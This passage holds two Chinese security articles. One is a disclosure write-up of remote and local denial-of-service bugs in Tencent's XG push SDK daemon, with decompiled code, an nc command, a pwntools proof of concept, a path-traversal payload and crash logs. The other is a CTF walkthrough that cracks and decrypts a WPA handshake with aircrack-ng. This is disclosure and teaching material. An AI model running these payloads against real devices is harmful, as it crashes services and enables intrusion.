xgapplist[len_of_applist] = v7;
j_j_memcpy(v7, v2, v6);
v2 = j_j_strtok(0, “;”);
v3 = len_of_applist + 1;
}
for ( i = 0; i < len_of_applist; ++i )
{
v8 = (char *)xgapplist[i];
if ( v8 )
{
package = j_j_strtok(v8, “,”);
accid = j_j_strtok(0, “,”);
v11 = accid;
v12 = j_j_atoll(accid); //null pointer dereference crash !!!!
v27 = v12;
向55362端口发送一个最简单的数据包，
echo -n "xgapplist:A" | nc -v 192.168.8.169 55362
使用logcat可观察到Oops：
I/DEBUG ( 243): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 243): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
I/DEBUG ( 243): Revision: '11'
I/DEBUG ( 243): pid: 11774, tid: 11774, name: xg_watchdog >>> /data/data/com.tencent.wework/lib/libtpnsWatchdog.so <<<
I/DEBUG ( 243): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 00000000
I/DEBUG ( 243): r0 4008a2d8 r1 40083d28 r2 ffffff78 r3 00000000
I/DEBUG ( 243): r4 400165c6 r5 00000002 r6 0000000a r7 00000000
I/DEBUG ( 243): r8 400120d9 r9 00000000 sl 00000000 fp bed838ec
I/DEBUG ( 243): ip 40018f68 sp bed7f6e8 lr 400125e5 pc 4006aab0 cpsr 000f0030
I/DEBUG ( 243): d0 0000000000000000 d1 0000000000000000
I/DEBUG ( 243): d2 0000000000000000 d3 0000000000000000
I/DEBUG ( 243): d4 0000000000000000 d5 0000000000000000
I/DEBUG ( 243): d6 0000000000000000 d7 0000000000000000
I/DEBUG ( 243): d8 0000000000000000 d9 0000000000000000
I/DEBUG ( 243): d10 0000000000000000 d11 0000000000000000
I/DEBUG ( 243): d12 0000000000000000 d13 0000000000000000
I/DEBUG ( 243): d14 0000000000000000 d15 0000000000000000
I/DEBUG ( 243): d16 41db6820b9bcac08 d17 3f50624dd2f1a9fc
I/DEBUG ( 243): d18 419908a090000000 d19 0000000000000000
I/DEBUG ( 243): d20 0000000000000000 d21 0000000000000000
I/DEBUG ( 243): d22 0000000000000000 d23 0000000000000000
I/DEBUG ( 243): d24 0000000000000000 d25 0000000000000000
I/DEBUG ( 243): d26 0000000000000000 d27 0000000000000000
I/DEBUG ( 243): d28 0000000000000000 d29 0000000000000000
I/DEBUG ( 243): d30 0000000000000000 d31 0000000000000000
I/DEBUG ( 243): scr 00000010
I/DEBUG ( 243):
I/DEBUG ( 243): backtrace:
I/DEBUG ( 243): #00 pc 0002aab0 /system/lib/libc.so (strtoimax+31)
I/DEBUG ( 243): #01 pc 000015e1 /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG ( 243): #02 pc 00002787 /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG ( 243): #03 pc 0000124f /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG ( 243): #04 pc 0000e34b /system/lib/libc.so (__libc_init+50)
I/DEBUG ( 243): #05 pc 00001390 /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG ( 243):
**
**
**0x05 double free内存破坏**
仍然观察xgapplist命令，程序接收socket端口传入的命令xgapplist:<packagename>,<accid>;<packgename2>,<accid2>;…;<packagenamen>,<accidn>;
时，程序会对上述命令进行解析，分配xgappinfo对象，并依次将不重复的xgappinfo（使用XG
SDK的app的信息）对象存入全局数组xgappinfo_list
xgappinfo占用16字节，为如下结构体
struct xgappinfo {
long accid,
char* packgename,
int status
};
如图，
再来看下下面这段程序逻辑，对通过socket端口传入的xgapplist命令的解析主要包括以下几个步骤：
* 解析分号的分隔，获得每个xg app的信息；
* 解析逗号的分隔，获得xg app packagename和accid；
* 从0x4005E028开始，依次存储解析xgappinfo得到的结果，分别为accid、packagename、status，从而构成xgappinfo_list；
* 当再次传入xgapplist命令时，会将传入的packagename与已存储的packagename比较。如果不同，说明是新的packagename，则会在堆上分配地址存储，并将这个堆上分配的地址添加到xgappinfo_list中。如果相同，不进行添加。
* 最多只能添加到0x40060028这个地址，到这个地址会跳出循环，也就是最多只能添加(0x40060028-0x4005E028)/16=512个xgappinfo结构体
* * void __fastcall sub_40056574(char *a1)
{
…
int i; // [sp+24h] [bp-2Ch]@4
unsigned __int64 v27; // [sp+28h] [bp-28h]@8
v1 = a1;
j_j_memset(dword_40060028, 0, 0x200u);
v2 = j_j_strtok(v1, “;”);
v3 = 0;
v4 = v2;
while ( 1 )
{
v25 = v3;
if ( !v4 )
break;
v5 = j_j_strlen(v4);
v6 = v5 + 1;
v7 = (void *)j_operator new[](v5 + 1);
dword_40060028[v25] = v7;
j_j_memcpy(v7, v4, v6);
v4 = j_j_strtok(0, “;”);
v3 = v25 + 1;
}
for ( i = 0; i < v25; ++i )
{
v8 = (char *)dword_40060028[i];
if ( sub_4005651C(dword_40060028[i]) )
{
v9 = j_j_strtok(v8, “,”);
v10 = j_j_strtok(0, “,”);
v11 = v10;
v12 = j_j_atoll(v10);
v27 = v12;
if ( v12 <= 0x3B9AC9FF && dword_4005D018 )
{
v23 = HIDWORD(v12);
j_j___android_log_print(6, “xguardian”, “error accessid:%llu”);
}
if ( v9 && v11 )
{
v13 = &dword_4005E028; // xgapp_info结构体存储的起始地址
for ( j = &dword_4005E028; ; j = v15 )
{
v14 = (const char *)v13[2];
v15 = v13;
if ( !v14 )
break;
if ( !j_j_strcmp(v9, v14) )
{
*v13 = v27;
v13[1] = HIDWORD(v27);
v16 = 1;
*((_BYTE *)v15 + 12) = 1;
v15 = j;
goto LABEL_22;
}
if ( *((_BYTE *)v13 + 12) )
v15 = j;
v13 += 4;
if ( v13 == dword_40060028 )
break; // 最多只能存储512个对象，每个对象占用16字节
}
v16 = 0;
LABEL_22:
if ( dword_4005D018 )
j_j___android_log_print(4, “xguardian”, “found %d, pkgName:%s,accid:%s”, v16, v9, v11);
if ( !v16 && sub_40055B98(v9) )
{
if ( dword_4005D018 )
j_j___android_log_print(4, “xguardian”, “try to add to the unstall list”);
v17 = j_j_strlen(v9) + 1;
v18 = (void *)v15[2];
if ( v18 )
{
j_j__ZdaPv:
operator delete[](v18); // 这段存在问题，v18没有置为null。导致当循环到512个对象的时候，由于前面循环的限制，v18还是指向第512个对象中在堆上分配的packagename的地址，此时v18会被delete。
//
// 当512以上的多个命令数据包达到，需要有多个packagename需要添加时，由于并发处理，程序会在返回之前再次运行到此处，v18还是指向同一地址，由于v18已被delete，此时会再次delete一下，从而导致delete出错
return;
}
v19 = (void *)j_operator new[](v17);
v15[2] = (int)v19;
j_j_memset(v19, 0, v17);
j_j_memcpy((void *)v15[2], v9, v17);
*(_BYTE *)(v15[2] + v17) = 0;
v20 = j_j_atoll(v11);
*((_BYTE *)v15 + 12) = 1;
*(_QWORD *)v15 = v20;
if ( dword_4005D018 )
j_j___android_log_print(4, “xguardian”, “add new unInfo pkgName:%s,accid:%llu”, v15[2], v20);
}
}
}
v18 = (void *)dword_40060028[i];
if ( v18 )
goto j_j__ZdaPv;
}
…
注意下面这段代码，
if ( v18 )
{
j_j__ZdaPv:
operator delete[](v18);
}
v18为下一个未分配区域的packagename，XG
SDK认为如果不为空，则表明已在堆上分配，因此需要delete。然而测试表明，当添加xgappinfo超过512，为518、519等多个时（注意：并非超过1个），可以触发堆内存破坏。
POC:
from pwn import *
import sys
def open_connection():
xg_daemon_server = “192.168.8.158”
xg_listen_port = 55362
conn = remote(xg_daemon_server, xg_listen_port)
return conn
def send_debug():
conn = open_connection()
packet_debug = “debug:1n”
conn.send(packet_debug)
print “S:”+packet_debug
conn.close()
exit(0)
def send_heap_overflow(n):
conn = open_connection()
packet_bound_overflow = “xgapplist:../../../”
for i in range(n):
packet_bound_overflow +=”/”
packet_bound_overflow +=”sdcard/, 2100178385n”
print “S: “+packet_bound_overflow
print “%d bytes” % len(packet_bound_overflow)
conn.send(packet_bound_overflow)
conn.close()
def send_normal_packet(packet):
conn = open_connection()
conn.send(packet)
print “S: “+packet
if (packet == “ver:n”):
print “R: “+ conn.recv()
conn.close()
exit(0)
def main():
if (len(sys.argv) != 2):
print “””
%s <packet_type>
1: send debug packet
3: send heap overflow packet
4: send normal ver: packet
5: send normal tme:12345 packet
6: send normal xgapplist: packet
“”” % sys.argv[0]
exit(-1)
if(sys.argv[1] == “1”):
send_debug()
elif(sys.argv[1] == “3”):
for i in range(518): //notice！
send_heap_overflow(i)
print i
exit(0)
elif(sys.argv[1] == “4”):
send_normal_packet(“ver:n”)
elif(sys.argv[1] == “5”):
send_normal_packet(“tme:12345n”)
elif(sys.argv[1] == “6”):
send_normal_packet(“xgapplist:n”)
else:
print “unkown packet type! “
if __name__ == “__main__”:
main()
Logcat
I/TpnsWatchdog( 495): server get unstall appinfo:com.tencent.wework,2100178384;../../../././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
I/TpnsWatchdog( 495): found 0, pkgName:com.tencent.wework,accid:2100178384
I/TpnsWatchdog( 495): try to add to the unstall list
F/libc ( 495): invalid address or address of corrupt block 0x4125f850 passed to dlfree
F/libc ( 495): Fatal signal 11 (SIGSEGV) at 0xdeadbaad (code=1), thread 495 (xg_watchdog)
I/DEBUG ( 241): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 241): Build fingerprint: ‘google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys’
I/DEBUG ( 241): Revision: ’11’
I/DEBUG ( 241): pid: 495, tid: 495, name: xg_watchdog >>> /data/data/com.tencent.wework/lib/libtpnsWatchdog.so <<<
I/DEBUG ( 241): AM write failure (32 / Broken pipe)
I/DEBUG ( 241): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr deadbaad
I/DEBUG ( 241): Abort message: ‘invalid address or address of corrupt block 0x4125f850 passed to dlfree’
W/NativeCrashListener( 960): Couldn’t find ProcessRecord for pid 495
I/DEBUG ( 241): r0 00000000 r1 40139c5e r2 deadbaad r3 4013d7a0
I/DEBUG ( 241): r4 4125f850 r5 40148180 r6 4121c000 r7 4125f858
I/DEBUG ( 241): r8 400cc0d9 r9 00000000 sl 00000000 fp bee458ec
I/DEBUG ( 241): ip 00000001 sp bee41710 lr 4010b6cb pc 4010b6cc cpsr 600f0030
I/DEBUG ( 241): d0 2064657373617064 d1 6120726f2073736c
I/DEBUG ( 241): d2 6f20737365726466 d3 707572726f632072
I/DEBUG ( 241): d4 2e2f2e2f2e2f2e2f d5 2e2f2e2f2e2f2e2f
I/DEBUG ( 241): d6 2e2f2e2f2e2f2e2f d7 2e2f2e2f2e2f2e2f
I/DEBUG ( 241): d8 0000000000000000 d9 0000000000000000
I/DEBUG ( 241): d10 0000000000000000 d11 0000000000000000
I/DEBUG ( 241): d12 0000000000000000 d13 0000000000000000
I/DEBUG ( 241): d14 0000000000000000 d15 0000000000000000
I/DEBUG ( 241): d16 41c3183f70f5e354 d17 3f50624dd2f1a9fc
I/DEBUG ( 241): d18 41c05bc240800000 d19 0000000000000000
I/DEBUG ( 241): d20 0000000000000000 d21 0000000000000000
I/DEBUG ( 241): d22 0000000000000000 d23 0000000000000000
I/DEBUG ( 241): d24 0000000000000000 d25 0000000000000000
I/DEBUG ( 241): d26 0000000000000000 d27 0000000000000000
I/DEBUG ( 241): d28 0000000000000000 d29 0000000000000000
I/DEBUG ( 241): d30 0000000000000000 d31 0000000000000000
I/DEBUG ( 241): scr 00000010
I/DEBUG ( 241):
I/DEBUG ( 241): backtrace:
I/DEBUG ( 241): #00 pc 000116cc /system/lib/libc.so (dlfree+1191)
I/DEBUG ( 241): #01 pc 0000dc0b /system/lib/libc.so (free+10)
I/DEBUG ( 241): #02 pc 000016b5 /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG ( 241): #03 pc 00002787 /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG ( 241): #04 pc 0000124f /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG ( 241): #05 pc 0000e34b /system/lib/libc.so (__libc_init+50)
I/DEBUG ( 241): #06 pc 00001390 /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I
为什么513、514不能触发呢？这个问题一直没有分析得很清楚，因此也没有选择提交，直至厂商对前面两个漏洞进行修复，再次复现这个漏洞的难度加大。
if ( v18 )
{
j_j__ZdaPv:
operator delete[](v18);
}
再次观察漏洞的触发位置，可以发现v18
被delete后并没有置为null，那么有没有可能v18会被delete多次呢？作为socket服务daemon，程序使用了epoll系统调用，因此可以猜想这是并发处理的原因。在没有并发的情况下依次传入要添加的xgappinfo，在超过512个xgappinfo时，循环直接跳出，不会尝试添加这个xgappinfo，不会触及到下面delete所在的分支，这也是很长时间我通过调试很难复现该漏洞的原因。但如果存在并发，特别是在即将超过512个xgappinfo时，又传入了多个要添加的xgappinfo，那么由于并发处理，程序会同时尝试添加多个xgappinfo且不会认为超过了512个xgappinfo，此时v18均指向同一地址（即第512个对象中在堆上分配的packagename的地址），那么在v18被delete一次的情况下，紧接着会再次delete一下，从而导致delete出错。
**
**
**0x06 后续**
腾讯很快对命令注入和空指针解引用引发的远程拒绝服务漏洞进行了修复，主要修复点包括：
* 1\. Socket端口监听任意地址改为监听本地地址。
* 2\. 对Socket端口传入的命令进行了加密。
* 3\. 对传入xgapplist中的packagename进行了过滤，特别是过滤了“／”字符，防止目录穿越。
* 这些防御措施导致我很难再复现最后一个堆内存破坏漏洞了，但通过深入分析，我们仍然可以通过：
* 1\. 编写手机上运行的本地代码
* 2\. 添加手机上已存在的packagename，要超过512个
* 3\. 破解加密算法
* 来予以一一破解。首先，在手机上安装512个packganame(Oh my god! )，这个可以通过脚本解决。
#!/bin/bash
# Generate 512 apks, Build and Install
CURDIR=$(pwd)
for i in $(seq 512)
do
cd $CURDIR
DIR=”HelloWorld”$i
PACKAGE=”com.ms509.helloworld”$i
UNSIGNED_APK=$DIR”-release-unsigned.apk”
SIGNED_APK=$i”.apk”
android create project -n $DIR -t 13 -p $DIR -k $PACKAGE -a helloworld
cd $CURDIR”/”$DIR
ant release
cd $CURDIR”/”$DIR”/bin”
# sign apk
signapk.sh $UNSIGNED_APK $SIGNED_APK
adb install $SIGNED_APK
done
其次，破解加密算法可以直接调用程序使用的加解密库，而不必真的破解。最后的POC关键代码如下，注意，我们在快超过512时sleep了一下，使XG
SDK的处理能力跟上，然后后面再传入多个xgappinfo，这样有更大的几率触发并发。
directSendContent("debug:1");
directSendContent("ver:");
Log.d("testXG", "[+] Adding "+Integer.toString(m_appNameList.size()) + "fake xg apps");
int i = 0;
for (String xgapp:m_appNameList) {
if ((i++) > 530)
break;
String cmd = "xgapplist:" + xgapp + "," +
Integer.toString((int)(Math.random()*1000000)) + ";";
Log.d("testXG", "[+] " + Integer.toString(i) + " Sending command: " + cmd);
if (i == 510) {
try {
sleep(1000);
} catch (InterruptedException e){
}
}
directSendContent(cmd);
Logcat:
I/xguardian(19448): scanAppStatus node:508, pkg:heenstudy.com.sniffclipboard, accid:917429, status:1
I/xguardian(19448): scanAppStatus node:509, pkg:com.estrongs.android.taskmanager, accid:230582, status:1
I/xguardian(19448): scanAppStatus node:510, pkg:com.ilegendsoft.mercury, accid:995063, status:1
I/xguardian(19448): scanAppStatus node:511, pkg:fq.router2, accid:619048, status:1
I/xguardian(19448): xg app list size total:512, xgAppsCacheCount:512, xgAppsCacheActivityStatusCount:512
I/xguardian(19448): countTimeout=0, wait_time=310000, nfds=1, xgAppsCacheCount=512
I/xguardian(19448): server accept client 2, 127.0.0.1
I/xguardian(19448): countTimeout=0, wait_time=310000, nfds=1, xgAppsCacheCount=512
I/xguardian(19448): server decrpty receive from client: 42 : xgapplist:easyre.sjl.gossip.easyre,512970;
I/xguardian(19448): server get unstall appinfo:easyre.sjl.gossip.easyre,512970;
E/xguardian(19448): error accessid:512970
I/xguardian(19448): found 0, pkgName:easyre.sjl.gossip.easyre,accid:512970
I/xguardian(19448): try to add to the unstall list
E/testXG (10149): [+] response: -1
F/libc (19448): invalid address or address of corrupt block 0x401120c8 passed to dlfree
F/libc (19448): Fatal signal 11 (SIGSEGV) at 0xdeadbaad (code=1), thread 19448 (xg_watchdog)
I/DEBUG ( 242): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 242): Build fingerprint: ‘google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys’
I/DEBUG ( 242): Revision: ’11’
I/DEBUG ( 242): pid: 19448, tid: 19448, name: xg_watchdog >>> /data/data/com.qufenqi.android.quwallet/lib/libxguardian.so <<<
I/DEBUG ( 242): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr deadbaad
I/DEBUG ( 242): AM write failure (32 / Broken pipe)
I/DEBUG ( 242): Abort message: ‘invalid address or address of corrupt block 0x401120c8 passed to dlfree’
I/DEBUG ( 242): r0 00000000 r1 400b5c5e r2 deadbaad r3 400b97a0
I/DEBUG ( 242): r4 401120c8 r5 400c4180 r6 4010e000 r7 401120d0
I/DEBUG ( 242): r8 40047221 r9 00000000 sl 00000000 fp bec758dc
I/DEBUG ( 242): ip 00000001 sp bec6f6f8 lr 400876cb pc 400876cc cpsr 600f0030
I/DEBUG ( 242): d0 2064657373617064 d1 6f2073736572646c
I/DEBUG ( 242): d2 707572726f632066 d3 206b636f6c622072
I/DEBUG ( 242): d4 0000000000000000 d5 0000000000000000
I/DEBUG ( 242): d6 0000000000000000 d7 0000000000000000
I/DEBUG ( 242): d8 0000000000000000 d9 0000000000000000
I/DEBUG ( 242): d10 0000000000000000 d11 0000000000000000
I/DEBUG ( 242): d12 0000000000000000 d13 0000000000000000
I/DEBUG ( 242): d14 0000000000000000 d15 0000000000000000
I/DEBUG ( 242): d16 41c9ef5dd3bd0e56 d17 3f50624dd2f1a9fc
I/DEBUG ( 242): d18 41ba01d435000000 d19 0000000000000000
I/DEBUG ( 242): d20 0000000000000000 d21 0000000000000000
I/DEBUG ( 242): d22 0000000000000000 d23 0000000000000000
I/DEBUG ( 242): d24 0000000000000000 d25 0000000000000000
I/DEBUG ( 242): d26 0000000000000000 d27 0000000000000000
I/DEBUG ( 242): d28 0000000000000000 d29 0000000000000000
I/DEBUG ( 242): d30 0000000000000000 d31 0000000000000000
I/DEBUG ( 242): scr 00000010
I/DEBUG ( 242):
I/DEBUG ( 242): backtrace:
I/DEBUG ( 242): #00 pc 000116cc /system/lib/libc.so (dlfree+1191)
I/DEBUG ( 242): #01 pc 0000dc0b /system/lib/libc.so (free+10)
I/DEBUG ( 242): #02 pc 000026e7 /data/app-lib/com.qufenqi.android.quwallet-2/libxguardian.so
I/DEBUG ( 242): #03 pc 00002ff7 /data/app-lib/com.qufenqi.android.quwallet-2/libxguardian.so
I/DEBUG ( 242): #04 pc 000013b1 /data/app-lib/com.qufenqi.android.quwallet-2/libxguardian.so
I/DEBUG ( 242): #05 pc 0000e34b /system/lib/libc.so (__libc_init+50)
I/DEBUG ( 242): #06 pc 000014fc /data/app-lib/com.qufenqi.android.quwallet-2/libxguardian.so
当然，这个double
free漏洞无法利用，因为堆中的内容只能为手机上安装的packagename，所以尽管克服重重困难破解了加密算法、安装了512个packagename，仍然只是一个local
DoS。TSRC在最先评级认为是代码执行，后面也更正为了local DoS。
最后，总结下漏洞的成因，XG SDK以检查/data/data/<packagename>/lib的存在，来判断是否为使用XG
sdk的app，这种方式不够严谨。依然有可能被恶意app利用来保活（ 因为XG
sdk后续要启动app的服务），占用系统资源或者妨碍正常使用推送服务的app。 | 社区文章 |
# 一道无线流量题目引发的思考
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
学习一番IEEE 802.11后，从原理性角度分析一道无线流量的CTF题目。
在文章的开头处，先贴个[wireshark分析802.11协议的pdf链接](http://10.254.1.201:9999/www.willhackforsushi.com/papers/80211_Pocket_Reference_Guide.pdf)，可根据该文档所描述的内容快速过滤相应的数据包，这也是本文讲述如何使用wireshark学习分析IEEE802.11的帮助文档。不懂就翻翻咯~。本篇以一道ciscn2018的题目为引，从原理性分析学习IEEE802.11。
## 帧的基本类型
关于帧的基本类型，基本上大家也都知道三种类型（贴个[基础知识链接](http://drops.xmd5.com/static/drops/wireless-15128.html)，不大理解的先看其中无线网络基础知识部分），这里重点讲述下管理帧。
### Management frame（管理帧）
该帧的所显示的数据包一般用于各个设备之间建立第二层的连接，提供认证和连接服务。
该帧又细分为下面14种类型，每种类型所对应的中文注释以及过滤语句均已呈现。
而在管理帧中，值得重要一提的是Beacon，俗称信标，Beacon就像广播一般，向周边的其他设备声明某AP的类型及配置信息。下面会详细分析该帧。
### Control frames（控制帧）
协助数据帧的传递，控制数据帧和管理帧的发送。
### Data frame (数据帧)
包含真正的传输数据，最重要的是它可以将数据从无线网络转发到有线网络。在wireshark中，如果AP是使用的是WEP或者WAP加密,Data
frame类型包，经过wireshark自带的解密功能wep、wpa-pwd、wpa-psk任意一种方法解密后，该类型数据包就会解析为更高层次的数据包，比如http数据包，在等会讲述的例题中，便与此相关。
## 管理帧中Beacon的具体分析
关于管理帧的具体分析，这里直接挑选Beacon来讲解。
为什么需要重点讲述Beacon呢？Beacon作为一个广播数据包，是一个AP向所有无线设备通知存在一个可用的AP，涵盖了一个AP大量的配置参数信息。另外，在IEEE802.11下，不同管理帧的具体内容和用途虽然不一样，但其他都与Beacon相似。下面即是一个Beacon的例子：
Frame 1: 279 bytes on wire (2232 bits), 279 bytes captured (2232 bits) on interface 0
Radiotap Header v0, Length 24
802.11 radio information
IEEE 802.11 Beacon frame, Flags: ........ -beacon广播包
Type/Subtype: Beacon frame (0x0008) -可使用wlan.fc.type_subtype == 0x0008过滤
Frame Control Field: 0x8000
.... ..00 = Version: 0
.... 00.. = Type: Management frame (0) -帧类型为管理帧
1000 .... = Subtype: 8
Flags: 0x00
.000 0000 0000 0000 = Duration: 0 microseconds
Receiver address: Broadcast (ff:ff:ff:ff:ff:ff)
Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
Transmitter address: Tp-LinkT_ca:13:df (30:fc:68:ca:13:df) -传输mac地址
Source address: Tp-LinkT_ca:13:df (30:fc:68:ca:13:df) -源地址
BSS Id: Tp-LinkT_ca:13:df (30:fc:68:ca:13:df) -bssid
.... .... .... 0000 = Fragment number: 0
0110 1110 1011 .... = Sequence number: 11
IEEE 802.11 wireless LAN -IEEE 802.11帧信息
Fixed parameters (12 bytes) -固定参数
Timestamp: 0x000000017752d876 -发送数据包的时间戳
Beacon Interval: 0.102400 [Seconds] -beacon数据包的重传间隔
Capabilities Information: 0x0431 -Wap的硬件容量信息
Tagged parameters (219 bytes) -标记参数
Tag: SSID parameter set: T35t -ssid（网络名称）
Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6, 9, 12, 18, [Mbit/sec]
Tag: DS Parameter set: Current Channel: 1 -Wap广播信道
Tag: Traffic Indication Map (TIM): DTIM 0 of 0 bitmap -传输指示映射
Tag: ERP Information
Tag: Extended Supported Rates 24, 36, 48, 54, [Mbit/sec] -扩展支持速率
Tag: HT Capabilities (802.11n D1.10) -超线程性能
Tag: HT Information (802.11n D1.10) -超线程信息
Tag: RSN Information -安全网络信息
Tag: Vendor Specific: Microsoft Corp.: WPA Information Element -供应商及WPA信息
Tag Number: Vendor Specific (221) -供应商编号
Tag length: 22 -长度
OUI: 00:50:f2 (Microsoft Corp.) -安装程序
Vendor Specific OUI Type: 1
Type: WPA Information Element (0x01) -类型
WPA Version: 1 -WPA版本为1
Multicast Cipher Suite: 00:50:f2 (Microsoft Corp.) AES (CCM) -多播密码插件
Unicast Cipher Suite Count: 1 -单播密码套件数
Unicast Cipher Suite List 00:50:f2 (Microsoft Corp.) AES (CCM) -单播密码套件列表
Auth Key Management (AKM) Suite Count: 1 -认证密钥管理套件数
Auth Key Management (AKM) List 00:50:f2 (Microsoft Corp.) PSK -认证密钥管理列表
Tag: Vendor Specific: Microsoft Corp.: WMM/WME: Parameter Element
Tag: Vendor Specific: TP-LINK TECHNOLOGIES CO.,LTD.
Tag: Vendor Specific: Microsoft Corp.: WPS
## 原理性题解：2018ciscn-misc-寻找入侵者
### 题目
黑客使用无线钓鱼攻击一个SSID为“CyberPeace”的热点，但是我们的蜜罐系统捕获了他的数据包，并且已经得知他的握手包密码就是他的网卡地址。可是根据我们最新获得的情况，他又发送重连请求的Malformat
Frame试图崩溃我们的无线路由器。请从attack包中找到密码，并解开他的数据包,找到那条畸形数据。
题目所给附件：
### 思路解析
attack.pcapng记录着蜜罐系统所抓取的所有数据包，而hanshake.cap则是蜜罐系统抓取的黑客的握手包。本题的思路也就是通过分析attack.pcapng，寻找到黑客mac地址，然后通过aircrack-ng工具验证hanshake.cap握手包的密码，并且使用这个密码解密hanshake.cap的数据。通过分析解密后的hanshake.cap的http数据，找到另外一个key.pcap的在线下载链接，然后分析key.pcap，找到其中的畸形数据，也就是最终的答案。
### 解题步骤
wireshark打开attack.pcapng数据包，依照题意“黑客使用无线钓鱼攻击一个SSID为‘CyberPeace’的热点”，我们可以先过滤SSID名为CyberPeace的Beacon的信标分组(一般通过Beacon就可以分析出AP的基本信息)，过滤语句wlan.fc.type_subtype
== 0x0008&&wlan.ssid==CyberPeace，如下图
#### 坑点一：使用时钟偏差检测AP的真伪
过滤之后，发现数据分组依旧多的一匹，思考了半天，网上翻阅资料一堆，隔天才找到[相关的资料](http://drops.xmd5.com/static/drops/wireless-15128.html)，其中有此描述
也就是根据 IEEE802.11协议中的TSF（Time Synchronization
Function，定时同步功能），通过收集AP的Beacon（信标帧）或者Probe
response（探头响应消息）来计算AP的时钟偏差，通过与特征库中储存的偏差值比较，判断此AP是否为无线钓鱼AP。
那么问题来了，wireshark怎么查看时间戳在哪呢？额，我们随便挑个Beacon的分组看看，时间戳在IEEE 802.11 wireless
LAN的分支下（上面），如下图：
接着，我们继续往下观察各分组的Timestamp的值，一直到2153分组，终于观察到不同的地方
第2153分组中Timestamp的值为0x0000000000000000，与其他AP中Beacon的Timestamp值不同，而此时的AP对应mac地址的值为88:25:93:c1:c8:eb（上图显示为TP-LinkT_c1:c8:eb）。再查看此mac地址其他Beacon的分组包，比如序号分组为2192、2237、2306（SN的值依次为2，3，4）中的Timestamp的值，你会发现Timestamp的值均为0x0000000000000000。
或者更直观一点，执行过滤语句：
wlan.fc.type_subtype == 0x0008&&wlan.ssid==CyberPeace&&wlan.fixed.timestamp ==
0x00，观察下图，会发现均值mac地址的值为88:25:93:c1:c8:eb的Beacon，且Timestamp均为0x0000000000000000。（分析结束后，发现直接执行过滤语句wlan.fixed.timestamp
==0x00，也可以得到相同的结果）
故根据以上分析，再依照题意“并且已经得知他的握手包密码就是他的网卡地址”，我们可以确定黑客的网卡地址为88:25:93:c1:c8:eb，hanshake.cap的握手密码也应是88:25:93:c1:c8:eb，将这个密码写入文件d1.txt中，然后通过aircrack-ng工具验证下密码的正确与否，执行命令aircrack-ng hanshake.cap -w d1.txt。
如上图结果所示，验证成功。接下来就是解开hanshake.cap这个wpa握手包里的数据了。
#### 坑点二：已知wifi密码如何正确解密cap数据包
这里主要有两种方法（当然还有其他的方法，比如使用Cain解密），一种通过wireshark提供的[转化网址](https://www.wireshark.org/tools/wpa-psk.html)，只需输入ssid和密码就能将其转化为PSK值。
然后打开wireshark，依次按照步骤操作：编辑 -> 首选项 -> Protocols -> IEEE 802.11 ，点击Edit
然后选填wpa-psk，输入刚刚转化得到的PSK值，进行解密
尝试过wpa-pwd，发现格式错误，解密无效
另一种方法是通过airdecap-ng工具解密，执行命令airdecap-ng -p 88:25:93:c1:c8:eb -e Honey
hanshake.cap
打开解密后的流量包，会发现解析出了其他协议的数据分组
仔细分析后，发现执行http.request.method==GET语句过滤后，存在个key.rar压缩包的下载网址
因为这个文件当时是通过分析出来的，然后通过在线网址直接下载的。但之前链接已经失效（自己之前的没存(╥╯^╰╥)），不过还好，左问右问，还有老哥存着key.rar，要了一份，在这里特别感谢[阿烨](https://www.jianshu.com/u/121bf0f6b3d2)老哥，谢谢。
打开压缩包，解压得到个key.pcap，wireshark打开分析，这里先将正常的预期做法，包括踩坑步骤讲述下：
打开数据包后，再仔细看看题目，其中讲到“他又发送重连请求的Malformat
Frame试图崩溃我们的无线路由器”，故我们先执行过滤语句wlan.addr==88:25:93:c1:c8:eb过滤出黑客网卡发出的所有包。
可以看到所有的过滤后所有的分组都是Type/Subtype: Association Request (0x0000)，上面讲过 Association
Request中文释义”关联请求“，顾名思义，而黑客通过Association
Request发送了大量的Malformat，企图崩溃无线路由器。而在最后一条分组中找到了答案，也就是那条“畸形数据”。
最终答案：CISCN{Z9DY20jZIyjzY5vs0UQZVUg86eMYlNMzH}
在其中的数据包中，我们发现黑客是使用了大量的Association
Request发送了大量的Malformat攻击路由器，这其实是无线AP中dos攻击中一种Association Flood
Attack（关联洪水攻击），简称Asso攻击。关于几种攻击方式，计划着之后来篇动手实践fuzz玩AP的总结(✪ω✪)。
### 关于此题的思考
关于此题，看了许多资料，想了想这题的出题原理，在安全客上顺带找到一篇[【技术分享】基于802.11Fuzz技术的研究](https://www.anquanke.com/post/id/84689)，发现就是原出题作者写的，在此先膜下。orz~。
此题，那时比赛后看了许多writeup，基本上黑客mac地址都是wireshark提取出来，然后爆破的，而最后的畸形数据也是strings
